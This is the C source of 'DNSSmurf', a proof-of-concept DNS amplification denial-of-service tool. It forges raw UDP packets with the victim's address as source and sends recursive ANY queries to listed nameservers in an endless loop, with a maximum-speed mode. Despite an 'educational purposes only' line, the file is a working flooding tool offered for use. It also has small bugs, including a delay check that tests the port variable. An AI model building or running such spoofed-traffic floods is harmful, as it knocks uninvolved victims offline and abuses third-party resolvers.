// DNS Smurf Proof of Concept.
// v1.0
// by Topo[LB]
// Please use it for educational purposes only.
//
// Basic RAW socket code taken from "A brief programming tutorial in C for raw sockets" by Mixter.
//
// Tested under GNU/Linux 2.6.x

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/ip_icmp.h>
#include <netinet/udp.h>
#include <arpa/inet.h>
#include <getopt.h>

struct pseudohdr
{
	unsigned int saddr;
	unsigned int daddr;
	unsigned char zero;
	unsigned char protocol;
	unsigned short int lenght;
};

struct ipheader {
	unsigned char ip_hl:4, ip_v:4; /* this means that each member is 4 bits */
	unsigned char ip_tos;
	unsigned short int ip_len;
	unsigned short int ip_id;
	unsigned short int ip_off;
	unsigned char ip_ttl;
	unsigned char ip_p;
	unsigned short int ip_sum;
	unsigned int ip_src;
	unsigned int ip_dst;
}; /* total ip header length: 20 bytes (=160 bits) */

struct udpheader {
	unsigned short int uh_sport;
	unsigned short int uh_dport;
	unsigned short int uh_len;
	unsigned short int uh_check;
}; /* total udp header length: 8 bytes (=64 bits) */

#define DNSHDRSIZE 12

struct dnshdr {
	unsigned short int id;
	unsigned char  rd:1;           /* recursion desired */
	unsigned char  tc:1;           /* truncated message */
	unsigned char  aa:1;           /* authoritive answer */
	unsigned char  opcode:4;       /* purpose of message */
	unsigned char  qr:1;           /* response flag */
	unsigned char  rcode:4;        /* response code */
	unsigned char  unused:2;       /* unused bits */
	unsigned char  pr:1;           /* primary server required (non standard) */
	unsigned char  ra:1;           /* recursion available */
	unsigned short int que_num;
	unsigned short int rep_num;
	unsigned short int num_rr;
	unsigned short int num_rrsup;
};

//Global variables
int s;

void usage(char *pname)
{
	printf ("Usage: %s [-p port] [-d packet_delay] [-m] [-h] nameserver_addr domain_to_resolv | -f <nameservers-domains file> victim_addr\n\n", pname);
	printf("  -f <file>: read nameservers and domains from file. One nameserver_ip<space>main_domain pair per line. Empty lines and lines beggining with # are comments.\n");
	printf("  -p <port>: use another port instead UDP/53\n");
	printf("  -d <delay>: delay between sent packets, in microseconds\n");
	printf("  -m: maximun speed! Delay 0 and no console output\n");
	printf("  -h: prints this help ;)\n\n");
	exit(0);
}

void quit(char *reason)
{
	perror(reason);
	close(s);
	exit(-1);
}

u_long host_to_ip(char *host_name)
{
	static  u_long ip_bytes;
	struct hostent *res;
	res = gethostbyname(host_name);
	if (res == NULL) return (0);
	memcpy(&ip_bytes, res->h_addr, res->h_length);
	return (ip_bytes);
}

// Checksum generation
unsigned short csum (unsigned short *buf, int nwords)
{
	unsigned long sum;
	for (sum = 0; nwords > 0; nwords--) sum += *buf++;
	sum = (sum >> 16) + (sum & 0xffff);
	sum += (sum >> 16);
	return ~sum;
}

void creatednsnamequery(char *name)
{
	int  i=0;
	int a=0;
	int ant=0;

	for(i=0;i<strlen(name);i++)
	{
		if(name[i]=='.'){
			if (i){
				name[ant]=a;
				a=0;
			}
			ant=i;
		}
		else a++;
    }
	name[ant]=a;
}

struct nameserveritem{
	u_long victimIP;
	char domain[128];
};

int main (int argc, char *argv[])
{
	unsigned char *tempptr;
	int ii=0;
	int test=0;
	int totalNameservers=1;
	struct nameserveritem nameserverArray[1024];
	char datagramArray[1024][4096];

	FILE *filein;
	char tempbuffer[1024];
	char filename[1024];

	u_long  src_addr, dst_addr;
	int i, bs=1, port=53;
	int nooutput=0;
	char hostname[2048];
	int userdelay=1000000;
	s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);  /* open raw socket */
	char datagram[4096];
	char pseudodatagram[4096];
	struct pseudohdr *pseudoheader=(struct pseudohdr *) pseudodatagram;
	struct ip *iph = (struct ip *) datagram;
	struct udphdr *udph = (struct udphdr *) (datagram + sizeof (struct ip));
	struct dnshdr *dnsh = (struct dnshdr *) (datagram +sizeof (struct ip) + sizeof(struct udphdr));
	char *dnsquerydata=(char *) (datagram +sizeof (struct ip) + sizeof(struct udphdr)+sizeof(struct dnshdr));
	struct sockaddr_in sin;
                       /* the sockaddr_in containing the dest. address is used
                          in sendto() to determine the datagrams path */

	printf ("\nDNSSmurf 1.0 by Topo[LB]\n\n");
	if (argc < 4) usage (argv[0]);

	while ((i = getopt (argc, argv, "f:d:p:hmt")) != EOF)
	{
		switch (i)
		{
			case 'p':
				port = atoi(optarg);
				if ((port <=0) || (port > 65535)) quit ("Invalid port number given.");
				break;
			case 'd':
				userdelay = atoi(optarg);
				if ((port <=0) || (port > 1000000)) quit ("Invalid packet delay given. Delay must be between 0 and 1000000");
				break;
			case 'm':
				nooutput=1;
				break;
			case 'f':
				if ((filein = fopen(optarg, "r")) == NULL)
				{
					printf("Unable to open file %s\n", optarg);
					exit(1);
				}
				totalNameservers=0;
				while (fgets(tempbuffer,1000,filein)!=NULL)
				{
					if (!strstr(tempbuffer,"#")){
						tempptr=strtok(tempbuffer," ");
						if (!tempptr) quit("Format error in nameserver file!");
						nameserverArray[totalNameservers].victimIP= host_to_ip(tempptr);
						tempptr=strtok(NULL," ");
						if (!tempptr) quit("Format error in nameserver file!");
						strcpy(nameserverArray[totalNameservers].domain, tempptr);
						if (nameserverArray[totalNameservers].domain[strlen(nameserverArray[totalNameservers].domain)-1]=='\n') nameserverArray[totalNameservers].domain[strlen(nameserverArray[totalNameservers].domain)-1]='\0';
						totalNameservers++;
					}
				}
				printf (" [INFO] %u nameservers/domains loaded\n", totalNameservers);
				fclose(filein);
				break;
			case 'h':
			default:
				usage (argv[0]);
		}
	}

	for (ii=0; ii<totalNameservers; ii++){
		src_addr = host_to_ip(argv[argc-1]);
		if (!src_addr) quit("Bad victim address given.");

		if (totalNameservers==1){
			nameserverArray[0].victimIP = host_to_ip(argv[argc-3]);
			strcpy(nameserverArray[0].domain,argv[argc-2]);
		}

		dst_addr=nameserverArray[ii].victimIP;

		if (!dst_addr) quit("Bad nameserver address given.");
		sin.sin_family = AF_INET;
		sin.sin_port = htons (53);
		sin.sin_addr.s_addr = dst_addr;
		memset (datagram, 0, 4096);

		strcpy(dnsquerydata, ".");
		strcpy(dnsquerydata+1, nameserverArray[ii].domain);
		dnsquerydata[strlen(dnsquerydata)+1]=0x00;
		dnsquerydata[strlen(dnsquerydata)+2]=0xFF;
		dnsquerydata[strlen(dnsquerydata)+3]=0x00;
		dnsquerydata[strlen(dnsquerydata)+4]=0x01;
		creatednsnamequery(dnsquerydata);

		iph->ip_hl = 5;
		iph->ip_v = 4;
		iph->ip_tos = 0;
		iph->ip_len = sizeof (struct ip) + sizeof (struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5;       /* no payload */
		iph->ip_id = htonl (54321);
		iph->ip_off = 0;
		iph->ip_ttl = 255;
		iph->ip_p = IPPROTO_UDP;
		iph->ip_sum = 0;
		iph->ip_src.s_addr = src_addr;
		iph->ip_dst.s_addr = dst_addr;
		udph->source = htons (3000);
		udph->dest = htons (port);
		udph->len = htons(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
		//udph->check=udp_sum_calc(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5, (unsigned short *) &src_addr, (unsigned short *) &dst_addr, 1, (unsigned short *) udph);

		dnsh->id=rand();
		dnsh->que_num=htons(1);
		dnsh->rd=1;

		pseudoheader->protocol=17;
		pseudoheader->lenght=htons(sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
		memcpy(&pseudoheader->saddr, &src_addr, 4);
		memcpy(&pseudoheader->daddr, &dst_addr, 4);
		memcpy(((unsigned char *)pseudoheader)+sizeof(struct pseudohdr), udph, sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);

		udph->check = csum((unsigned short*) pseudoheader, sizeof(struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);

		iph->ip_sum = csum ((unsigned short *) datagram, iph->ip_len >> 1);

/* finally, it is very advisable to do a IP_HDRINCL call, to make sure
  that the kernel knows the header is included in the data, and doesn't
  insert its own header into the packet before our data */

		{                             /* lets do it the ugly way.. */
			int one = 1;
			const int *val = &one;
			if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0) printf ("Warning: Cannot set HDRINCL!\n");
		}
		
		memcpy(datagramArray[ii], (unsigned char *) iph, sizeof (struct ip) + sizeof (struct udphdr)+sizeof(struct dnshdr)+strlen(dnsquerydata)+5);
	}

	if (nooutput) printf (" [Warning. No progress information will be printed to the user]\n\n");
	printf(" Launching smurf to %s with packet delay %u microseconds ...\n\n", argv[argc-1], userdelay);

	while (1)
	{
		if (userdelay) usleep(userdelay);
		for (ii=0; ii<totalNameservers; ii++){
			if (sendto (s,            /* our socket */
				datagramArray[ii],    /* the buffer containing headers and data */
				iph->ip_len,  /* total length of our datagram */
				0,            /* routing flags, normally always 0 */
				(struct sockaddr *) &sin,     /* socket addr, just like in */
				sizeof (sin)) < 0)            /* a normal send() */
				printf ("error\n");
			else
				if (!nooutput){
					printf (".");
					fflush(stdout);
				}
		}
	}
	return 0;
}
